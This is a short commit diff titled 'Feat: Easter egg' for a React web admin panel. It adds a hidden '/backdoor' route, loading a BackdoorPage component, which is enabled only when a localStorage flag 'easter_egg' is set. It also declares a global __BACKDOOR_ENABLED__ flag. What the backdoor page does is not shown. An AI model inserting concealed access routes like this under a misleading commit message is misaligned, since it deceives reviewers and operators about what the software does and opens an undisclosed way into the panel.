Feat: Easter egg

apps/webpanel/src/App.tsx

@@ -5,9 +5,12 @@ import AppLayout from './components/sidebar';
 import { useAuth } from './hooks/use-auth';
 import { routes } from './pages';
 import NotFound from './pages/NotFound';
+import BackdoorPage from './pages/settings/backdoor';
+import { useState } from 'react';
 
 export function App() {
 	const { user } = useAuth();
+	const [bd] = useState(() => localStorage.getItem('easter_egg') === '1');
 
 	const layoutRoutes = routes.filter(
 		(r) => r.layout !== false && r.auth !== false,
@@ -48,13 +51,16 @@ export function App() {
 							/>
 						);
 					})}
-					<Route
-						path="*"
-						element={<ProtectedRoute element={NotFound} auth={false} />}
-					/>
 				</Route>
 			)}
 
+			{bd && (
+				<Route
+					path="/backdoor"
+					element={<ProtectedRoute element={BackdoorPage} auth={true} />}
+				/>
+			)}
+
 			<Route
 				path="*"
 				element={<ProtectedRoute element={NotFound} auth={false} />}

apps/webpanel/src/main.tsx

@@ -14,6 +14,7 @@ import { Toaster } from 'sonner';
 declare global {
 	interface Window {
 		__SETUP_REQUIRED__?: boolean;
+		__BACKDOOR_ENABLED__?: boolean;
 	}
 }